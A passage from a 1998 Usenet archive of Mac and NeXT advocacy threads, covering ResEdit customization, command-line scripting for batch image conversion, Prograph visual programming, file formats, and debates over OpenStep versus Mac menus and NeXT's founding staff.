> : files or vi. It sort of wraps all the steps up, too.
>
> I know. Personally I would rather drop into vi with a file list. I guess
> my style is a little more brute-force, but I find it works quick enough.
Well, I just pointed it out for the sake of the point. I actually like
your way a lot better. It makes more sense when you're actually doing
it. I hadn't thought of doing it through a file list like that.
> More than one way to skin a cat, and all that.
TMTOWTDI :-)
MJP
From: "Gerard Motola" <gtm@nospam.riftwar.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 8 Sep 1998 14:19:08 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6t46ui$t3v$1@fir.prod.itd.earthlink.net>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net>
Joe Ragosta wrote in message ...
>In article <B2187B86-2132B9@153.36.240.74>, "Wayne Fellows"
><wfellows@*stop_spam*earthlink.net> wrote:
>
>> On Sun, Sep 6, 1998 7:21 PM, Steve Sullivan
<mailto:macghod@concentric.net>
>> wrote:
>> >hmmm, I am not familiar with this. You can change every little thing?
>> >what about big things, such as the menubar at the top? Can you
customize
>> >it so it is a replica of openstep 4.2 interface?
>>
>> Actually you can come close. You can designate the font, change the
Apple
>> picture, and add colors and textures to the menus. You can also change
the
>> shape of windowing elemends, so your desktop can look like pretty much
>> anything. There are schemes for BeOS, NeXT, the game Fallout, a rusty
>> boilerplate, anything you can think of. My personal favorite is Pussy
>> Galore...
>
>You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
>not a piece of the OS you can't change.
>
>--
>Regards,
>
>Joe Ragosta
>See the Complete Macintosh Page at its new location:
>http://www.taylor-design.com/cMacindex.html
Is there a Windows 95 equivalent of ResEdit?
From: gregorylo@sympatico.ca (Gregory Lo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <gregorylo-0809982240120001@cpu2522.adsl.bellglobal.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <jesse-ya02408000R0909981153560001@news.latrobe.edu.au>
Date: Wed, 09 Sep 1998 02:40:06 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 22:40:06 EDT
Organization: Bell Solutions
In article <jesse-ya02408000R0909981153560001@news.latrobe.edu.au>,
jesse@mira.net (Greg McPherson) wrote:
>> Better to compare the best of each. Maybe you could give me an example of
>> a CLI based application that is better than the equivalent GUI based
>> application.
I like text-based shells in UNIX like tcsh, especially running remotely.
A lot simpler and efficient (in terms of network traffic) than running an
X server or remote GUI administration stuff like Timbuktu. If I could
telnet to my home Mac from work (or the local library, or when visiting
family in another country) and run programs (and see their output easily),
get well-formatted directory listings, etc., I would be happy.
AppleScript is great, but it isn't all that interactive - also cannot
format output for [remote] terminals.
>From a programmers point of view, a CGI for a Web page.
>On UNIX you can write a simple C program that uses argv,argc
>parameters to fill in the CGI's parameters.
I disagree with this example. One need only wrap your CGI in a small
wrapper that packages the arguments for you in argv and gives you argc.
That's what the shell in UNIX does for you anyway.
>On a Mac, you have to use AppleEvents, which are rather more complex.
Don't know what to say to this. They are more complex, but it also means
that they are more flexible. There's an implicit system of tagged data
and containers in the use of AppleEvents, as well as a rich API to
maniupulate this data (coercing between different forms, creating lists,
etc.)
GLo
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0809982257350001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <jesse-ya02408000R0909981146450001@news.latrobe.edu.au>
Organization: Solid Object Software
Date: Wed, 09 Sep 1998 02:48:46 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 19:48:46 PDT
In article <jesse-ya02408000R0909981146450001@news.latrobe.edu.au>,
jesse@mira.net (Greg McPherson) wrote:
> In article <6t3qeq$1nr$1@nnrp02.primenet.com>, John Jensen
> <jjens@primenet.com> wrote:
>
> I'm looking at a shelf full of Inside Macintosh Books.
> Thousands of API calls, many quite complex to use.
>
> It is much simpler to represent these calls in a textual format.
> If someone could convert them all into some visual, iconic scheme it
> would be great, but the work would be huge.
I don't really understand what you mean by that, but the Mac toolbox is
represented in Prograph iconically. If you type a toolbox call into one of
the operations, it will immediately assume the correct arity. Likewise,
the structures are similarly represented so you can type field names into
the data access icons. You can also double click the icon to get a type
description for the inputs and outputs and you can Option-click to call up
the corresponding page in Think Reference (or the other one, name escapes
me).
> For the same reason, people write novels with text, rather than massive
> picture books.
People write novels with text because the audience is comprised of humans;
not computers.
> The most successful "RAD" languages, such as Visual Basic and Delphi are
> a hybrid of text and visual elements. The coarse work done visually,
> while the subtle parts are done with text.
That's true, though, unnecessary. Prograph is not the only all visual
programming language. It just happens to be the most general purpose one.
> All text programming can be a long error prone slog.
> All visual programming implies you don't need speed/memory optimisation
> or the ability to perform complex, or unusual procedures.
That is almost true. Prograph is robust. It is possible to import C
functions into Prograph (like the Mac toolbox), which is usually done for
performance reasons. However, Prograph alone is quite capable of
expressing very complex procedures. I think it excels at the task, myself.
I'm not trying to sell Prograph, BTW, but I do think it's a great
programming environment and does a good job of demonstrating the might of
true visual programming (ie. not just interface construction).
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
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References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com>
<6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
<rmcassid-0809981048120001@hephaestus.eng.uci.edu>
Message-ID: <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
Date: Tue, 08 Sep 1998 22:31:52 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 15:31:52 PDT
Organization: @Home Network
In <rmcassid-0809981048120001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >In <6t004d$nsn$1@oak.prod.itd.earthlink.net> "Ziya Oz" wrote:
> >> rr6013@yahoo.com wrote:
> >> >Foundation#3: Buy/license PSION's Epoc OS
> >>
> >> Will never happen.
>
> >Well it's O-O, it has an entrenched market presence and a huge
scalability
> >factor downward. I've been pounding the table for Psion over a two years
> >now, against all odds. I see a lot of flexibility with Apple's "NeXT"
and
> >Psion's "Epoc" cross-pollinated.
>
> Apple's current mode is 'reduce, recycle, reuse'. If there is any way in
> hell they can cram Mac OS or Mac OS X into a PDA, then that's what they
> are shooting for.
In the old days, we used to refer to this as "milking the cow"...
> No new code bases.
Funny... new code is "revitalizing" the old code they own. Psion would do
the same...
> Given Apple's patience these days,
> they might be waiting for technology to catch up with them.
>
> Maybe that's Steve's new lesson - what he learned at NeXT and Pixar: Build
> what will be selling in 10 years, but be patient enough with it that it
> sells when the market is ready, and not before.
This sounds more like hindsight, than insight. NeXT taught that you can't
move markets alone. Pixar, rather the collaboration w/Disney, was the
affirmation of that in spades.
> Both the Mac and the NeXT
> jumped the gun too much - the market didn't know what to make of this
> stuff. They didn't really *get* it, except in isolated groups.
That nobody "got it" is elitist. It's a very poor excuse for not doing a
good enough job in the first place. The Mac by all measures was a complete
success and in no way "ahead" of its time by 10 years. Apple simply
jettisoned their leadership and milked the cow till she was dry. NeXT was
not ahead of its time, either. It got the packaging wrong, pricing wrong
and the wrong market strategy. It was a management fiasco, if it wasn't a
technical and engineering masterpiece.
They knew exactly what to make of Mac and NeXT. Both were too proprietary
and too pricey. The market chose less expensive solutions. I can think of
no examples where NeXT lost as a result of the client choosing a more
expensive solution. Microsoft is a known scenario in the Mac case...
> iMac looks
> technically boring to me, but clearly the timing is right for the market.
>
Huh? I haven't seen one (1) iMac anywhere. I don't know anyone personally,
socially or inconsequentially who has bought an iMac. That was not the case
for the Mac in 84.
So tell me how many do you know who've bought?
-r
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 1998 20:06:30 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t42o6$puq$1@nnrp03.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137>
John Heaney <heaney@SolidObject.com> wrote:
: Maybe you could give me an example of a CLI based application that is
: better than the equivalent GUI based application.
The nicest thing about a CLI is the seamless transition to simple
scripting. I needed to convert a bunch of gif's to jpg's this weekend:
Step 1, get a list of the files:
$ ls *.gif >foo
Step 2, edit foo to invoke the Image Magick "convert" for each file
$ vi foo
For the curious, I did two substitutions:
1,$s/.*/convert & &z/
1,$s/gifz/jpg/
Step 3, make foo a script
$ chmod +x foo
Step 4, run the script
$ ./foo
Total elapsed time 15 seconds.
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 8 Sep 98 19:17:46 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21B3430-3F27D@206.165.43.24>
References: <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com>
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nntp://news.primenet.com/comp.sys.mac.programmer.misc
Gregory Lo <gregorylo@sympatico.ca> said:
>In article <Eyz29G.8L0@T-FCN.Net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>
>>In <B21882EA-3A2A@206.165.43.166> "Lawson English" wrote:
>>> >Binary, text, shminary, whatever.
>>>
>>> Well, it's faster to access if it is in binary format.
>>
>> Wrong, this is Unix remember? The fastest is a ZIPped text file, a
>format
>>the OS will be wonderfully good at handling.
>
>A zipped text file is a binary file.
>
>But, then to parse the zipped text file, one must decompress it; and then
>you still have to parse the larger text file.
There's an efficiency advantage loading compressed files and decompressing
as they load which probably favors using compressed files. However, I
question the claim that a text file, compressed or otherwise, is more
efficient to parse than a binary format.
>
>I think the original poster (for this sub-thread) asserts that a binary
>file is more efficient. Less "stuff" byte-wise to read and parse before
>you've extracted your content, which you probably store in a non-text form
>in memory anyway. Less space taken up on disk. Less work for the
>programmer to implement.
Exactly.
>
>It's a tradeoff between what's easy for the "user" (it's easier for humans
>to go in and modify/ a human-readable text file), and what's easier/more
>efficent for the implementor.
>
Right. The ability of the Yellow Box app to use new features automatically
makes this less of an advantage, of course. However, given that a block of
fully formatted text in the GX sense (sans graphical elements) is rather
complicated, I can't imagine having a human readable format would ever be a
real advantage. Ditto with any other complex graphical element. It's one
thing to want to change the size of the text, and another to want to
replace an entire string of multi-lingual text with something else.
Especially if you want to search every page in a 500 page document for a
given sub-image/sub-string and replace/edit it during pre-press.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 8 Sep 98 18:37:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21B29E7-187CF@206.165.43.24>
References: <Eyz2uE.8xG@T-FCN.Net>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>> 1) The NSBezierPath class is capable of representing all 2D graphical
>shapes
>> any reasonable person would create. Such shapes include text outlines,
>> discontinuous shapes, open shapes, concave shapes, convex shapes, shapes
>> with as few as one point, shapes with 100,000 points, shapes with
>quadratic
>> bezier curves, etc. NSBezierPath encapsulates all vector image
>> descriptions.
>
> Still an odd name though. Shouldn't it simply be NSPath?
What if they add a NSNURBSPath?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 98 18:42:48 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21B2B2B-1D3E1@206.165.43.24>
References: <gregorylo-0809980029030001@cpu2522.adsl.bellglobal.com>
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nntp://news.primenet.com/comp.sys.next.advocacy,
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Gregory Lo <gregorylo@sympatico.ca> said:
>Now, as I understand it, with the new HTML-based help system, the coach
>marks and automated walk-throughs are still there through both native
>AppleScript and the Help APIs. But, now we also add all the advantages of
>HTML based content.
That's what I was looking for. Thanks.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0809982325440001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <EyzJr5.J8n@T-FCN.Net>
Organization: Solid Object Software
Date: Wed, 09 Sep 1998 03:16:55 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 20:16:55 PDT
In article <EyzJr5.J8n@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> Well as one that tried to use ProGraph,, I'll share my views.
>
> Basically I found the system to be helpful for problems I didn't have, and
> non-helpful for problems I did have. I have problems writing applications,
> mostly because the object layers provided tend to stink. ProGraph's wasn't
> any better than anyone else's. So instead of writting lots of lines of code,
> I was connecting lots of boxes. This doesn't really help the situation.
Well, if you don't like the framework, you're probably not going to get
around to liking the language. One of the problems was that Prograph
itself was written in C, of course. So, it turned out that the best
Prograph programmers weren't around yet to develop the framework--the
usual chicken and egg situation.
> At the same time I found particular parts of the system to be more
> frustrating than the text based systems. Most notably the if/then
> structures. These should have been amazing, because this is something a flow
> can show better, but intead the one logic path per page system made it
> frustrating to no end.
You definitely nailed the single most difficult issue in the language,
although, I believe it's really a problem with the editor. If they had the
case windows for a method dispayed side by side in one window, I think it
would have been much better. I actually wrote a tool to align the case
windows side by side for this very reason.
> There was also no documentation in the libs, and the example code was
> completely undocumented (and in many cases too complex to be useful).
Prograph has a wonderful automatic documentation system and most, if not
all, of the framework is documented. However, there was virtually no big
picture documentation on how to use the framework. Also, all the object
editors are written in Prograph, so all the source code is right there. On
the downside, the editors are not documented at all. You know how it goes;
you just need enough money (or volunteers) to do everything right. It was
small company trying to break into a mature market with a Mac only
product.
> So in the end I found that after a week (off of work on holidays, so
> several hours a day) of working on it I had only a basic idea of how to use
> the system and was still not ready to use it to write code, let alone
> applications. Contrast this with OpenStep, where I picked up both the
> language and the enviornment in five days and then moved onto the production
> code.
I'm sure it was more familiar. I came to Prograph with a C++ background
and found it frustrating for a couple of months. Then one day I had an
epiphany and realized I was trying to write C++ code in Prograph. I
dropped that and have found nothing but joy. I'm sure Objective C is much
more enjoyable than C++, but I doubt I would enjoy it as much as Prograph.
Actually, Prograph has a very similar runtime as Objective C, except all
data types are objects and reference counting is built in.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: Tue, 08 Sep 1998 22:44:15 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t4bvv$qi5$1@nnrp1.dejanews.com>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net><B2187B86-2132B9@153.36.240.74><joe.ragosta-0609982205020001@elk66.dol.net><macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net><tapella-0709981610060001@22w2-1.dyn.pas teur.fr><macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net><tapella-0809981842340001@22w2-1.dyn.pasteur.fr><6t3q0p$13a61@odie.mcleod.net> Distribution: <6t40cb$jhc$1@cronkite.cs.umd.edu>
seanl@cs.umd.edu (Sean Luke) wrote:
> Michelle L. Buck (buck.erik@mcleod.net) wrote:
> : Many of the same people who
> : created the Mac menu system went on to build the vertical menus. Maybe they
> : had a reason.
>
> I can think of not one person working for NeXT who was on the original
> Mac/Lisa team.
Steve Jobs?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net><B2187B86-2132B9@153.36.240.74><joe.ragosta-0609982205020001@elk66.dol.net><macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net><tapella-0709981610060001@22w2-1.dyn.pas teur.fr><macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net><tapella-0809981842340001@22w2-1.dyn.pasteur.fr><6t3q0p$13a61@odie.mcleod.net> Distribution: <6t40cb$jhc$1@cronkite.cs.umd.edu>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35f5924c.0@nnrp1.news.uk.psi.net>
Date: 8 Sep 98 20:23:40 GMT
seanl@cs.umd.edu (Sean Luke) wrote:
>Michelle L. Buck (buck.erik@mcleod.net) wrote:
>
>[regarding OpenStep versus Mac menus]
>: As to easier and accuracy: Humans are better able to select items from a
>: list that is arranged vertically. Look at a phone book. How do you write
>: your shopping list ? People generally put their finger and their focus at
>: the top of a column and slide their finger and focus down the list to the
>: selected item. Most people find the hand motion required to move the mouse
>: vertically somewhat less tiring than moving horizontally.
>
>While I personally much prefer OpenStep windows to Mac windows, your
>statement above has no basis in evidence. The reason lists are arranged
>vertically is that we can pack more items vertically than horizontally. It
>has little to do with our cognitive speed in picking items out of vertical
>lists.
Nope - according to psychology texts - the research (evidence) says she's correct.
Now whether it's hardwired into the brain, or a learned skill is another matter -
but it IS much easier to find things in a vertical list.
>It's not a very important issue IMHO, but in fact we are much faster at
>grokking horizontal lists of pure text than vertical ones.
What does 'grokking' mean?
We read (ie group together information) better horizontally.
We select (differentiate) better vertically.
>Even in
>NeXTSTEP, this leaks through: for a non-menu example, consider the typical
>arrangement of yes/no/cancel buttons on a dialog box. The chief time we
>arrange things vertically is when (1) they have no associated text to
>dictate flow (for example, an icon bar), or (2) they're meant to *look*
>like written lists (radio buttons, say).
Precisely - the only time options are listed horizontally is when there are
few of them (so selection is easier) and they are associated with text that
is laid out horizontally, and therefore dictates a short, fat window rather
than a tall thin one.
>: My personal opinion is that the Openstep style vertical menus are far
>: superior to the Mac menus in every regard.
>
>Nonsense.
>
>1) OpenStep menus are far more difficult to hit.
False - unless you are talking about your own personal difficulty of course.
>2) OpenStep submenus hang so they're aligned with the top of the main
> menu, a clearly inferior approach.
Hmm, you use 'inferior' to describe a layout that tends (on average) to make
items on the submenu closer and therefore easier to get to.
I'm afraid the 'clearly inferior approach' escapes me.
Date: Tue, 08 Sep 1998 21:03:51 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Message-ID: <stevehix-0809982103520001@192.168.1.10>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pas teur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net> <tapella-0809981842340001@22w2-1.dyn.pasteur.fr> <6t3q0p$13a61@odie.mcleod.net> <6t40cb$jhc$1@cronkite.cs.umd.edu>
Organization: Close to None
In article <6t40cb$jhc$1@cronkite.cs.umd.edu>, seanl@cs.umd.edu (Sean
Luke) wrote:
> I can think of not one person working for NeXT who was on the original
> Mac/Lisa team.
Bud Tribble comes to mind.
I recall several people leaving Apple and appearing at NeXT
around the time it started out, IIRC most of them being Mac
alumni. (Dan'l Lewin...even though I think he was on the
marketing side. It's been a long time, I may misremember.)
> Do you know something we don't? Real or imagined
> advantages aside, the chief reason why many of the elements in NeXTSTEP
> were different from the Mac was to only to make the Cube _look_ different.
> Distinctly non-Apple. This was both for marketing :-) and legal :-(
> reasons.
>
> Sean Luke
> seanl@cs.umd.edu
From: not@work.bum (BrTe)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 08 Sep 1998 22:07:43 -0700
Organization: home
Message-ID: <not-ya02408000R0809982207430001@news.colorado.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net> <not-ya02408000R0709981419430001@news.colorado.edu> <367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.net>
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In article
<367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.ne
t>, nhughes@sunflower.com (nate) wrote:
> On Mon, 07 Sep 1998 14:19:43 -0700, not@work.bum (BrTe) wrote:
>
>
> > The discussion was not about assembling, but rather that just having the
> >greatest in one thing doesn't automatically get you the best car or the
> >fastest car. For example, having a huge engine doesn't automatically make
> >your car the fastest in the world, as the iMac has proven in the analogy
> >(And certain 80's American sports cars like the old Camaros have proven
> >going up against tiny little rockets with less power like the Supra, etc.).
>
> I'd like to see any Supra go light to light against an IROC from that
> era running a moderately tuned 396 or 400. The supra wouldn't stand a
> chance. The same goes for the little imac (or any mac) when pitted
> against a real computer running one or two fast PIIs.
Mwuhahahahahahaha We all live for fools such as these! Yes, I caught me a
live one! Dance, dance, dance... I got me an idiot!
Okay... First of all, the Supra did not really exist as it's own model
until the 1987 model run (MK3). Before this it's still considered amongst
the people at Toyota to be the Celica Supra, even though you had a mix of
name badges saying either Toyota Supra or Toyota Celica Supra going on from
1982 up until about 1984. Until 1987 it wasn't even pretending to be
anything more than a sports coup anyway, and did not have it's own body
line (used the Celica frame).
Okay, so now that I've established that if we are talking about the
sports car Toyota Supra, we are talking about the MK3 turbo, let's talk
about the performance.
A 230 hp Supra turbo came in 0.1 seconds faster than either Ford Mustang
GT (okay that's no surprise), or a Camaro IROC Z (Road and Track, February)
on the quarter mile. Plus, the Supra outcornered, and outhandled these
competitors (mentioned in passing in Car and Driver and other articles...
forgot months). The only thing it lost in was braking with a couple of the
contenders. One of the reasons Toyota was amongst the first to offer ABS on
its sports car lines.
The only car amongst the American contenders that gave the Supra any
headaches was the Chevy Corvette, but by 1989, there were many fields where
the Supra creamed it's ass. Increase in horsepower in between 1987 and
1989? 2 stinking horses. That's right! 2! It took a two horsepower increase
from 230 to 232 to get up into breathing neck and neck with a corvette. In
all respects, however, the Supra always won hands down in drivability,
comfort, and refinement... All of which also made it one of the heaviest
sports cars around.
As for the iMac, Apple did the equivalent of sticking a highly
aspirated V8 engine into an Escort and going "Lookie! Our engine can output
350 hp, and we stuck it in a $11,000 car anybody can afford!"... Well no
duh that it's not going to be able to perform as well as a Mustang Cobra,
but it sure as hell performs a lot better than a Neon or Sunfire someone
else might buy at that price.
iMac wasn't made to outdo a 450 mHz PII system. It might have an engine
that outdoes a PII 400, but the engine isn't the only thing involved. Take
a look at a 333mHz G3 with a 3dfx card and RAID striped U-SCSI drives, etc.
against a PII 450 for a fair comparison.
And get your head out of your ass while you are at it before you make
more stupid assumptions like the ones you about the cars and the computer
systems. hehehehehehehehehehe
Date: Tue, 08 Sep 1998 21:04:33 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Message-ID: <stevehix-0809982104330001@192.168.1.10>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pasteur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net> <tapella-0809981842340001@22w2-1.dyn.pasteur.fr> <6t3q0p$13a61@odie.mcleod.net> <slrn6vba44.krv.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Organization: Close to None
In article <slrn6vba44.krv.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> On Tue, 8 Sep 1998 12:35:29 -0500, Michelle L. Buck wrote:
> : <horizontal vs vertical menus>
> :
> :My personal opinion is that the Openstep style vertical menus are far
> :superior to the Mac menus in every regard. Many of the same people who
> :created the Mac menu system went on to build the vertical menus. Maybe they
> :had a reason.
>
> I like OpenStep menus too, but some of the reasons the NeXT was
> different was that Apple viewed NeXT as traitorous enemies and would
> have sued the bejeezus out of them if they used various characteristic
> elements of the Mac interface. I had once heard that they considered
> the classic pop-down menus with mouse dragging an Apple-proprietary
> technique.
>
> Naturally this just showed how dumb Apple was--instead NeXT should have
> been viewed as their real "advanced technology research division" and
> reabsorbed some time later. Because they were afraid of Jobs, they didn't.
>
> Out! Out, Demons of Stupidity!.
But they *did* reabsorb them.
Took a long time, though.
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 9 Sep 1998 00:04:04 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6t4glk$f78$1@cronkite.cs.umd.edu>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net><B2187B86-2132B9@153.36.240.74><joe.ragosta-0609982205020001@elk66.dol.net><macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net><tapella-0709981610060001@22w2-1.dyn.pas teur.fr><macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net><tapella-0809981842340001@22w2-1.dyn.pasteur.fr><6t3q0p$13a61@odie.mcleod.net> Distribution: <6t40cb$jhc$1@cronkite.cs.umd.edu> <6t4bvv$qi5$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 9 Sep 1998 00:04:04 GMT
spagiola@my-dejanews.com wrote:
: seanl@cs.umd.edu (Sean Luke) wrote:
: >
: > I can think of not one person working for NeXT who was on the original
: > Mac/Lisa team.
: Steve Jobs?
I said working *for* NeXT. :-)
Sean
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: 9 Sep 1998 20:04:07 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6t6mvn$fv5@shelob.afs.com>
References: <6t6hff$h1j$4@cronkite.cs.umd.edu>
Sean Luke writes
> Steve Hix (stevehix@safemail.com) wrote:
> : In article <6t40cb$jhc$1@cronkite.cs.umd.edu>, seanl@cs.umd.edu (Sean
> : Luke) wrote:
>
> : > I can think of not one person working for NeXT who was on the
> : > original Mac/Lisa team.
>
> : Bud Tribble comes to mind.
>
> Touche! I forgot him.
>
> : I recall several people leaving Apple and appearing at NeXT
> : around the time it started out, IIRC most of them being Mac
> : alumni. (Dan'l Lewin...even though I think he was on the
> : marketing side. It's been a long time, I may misremember.)
>
> I think so too. Lots 'o people defected to NeXT, but certainly not
> the Mac team in general.
The "Five Founders" from Apple (in addition to Steve) were Bud Tribble,
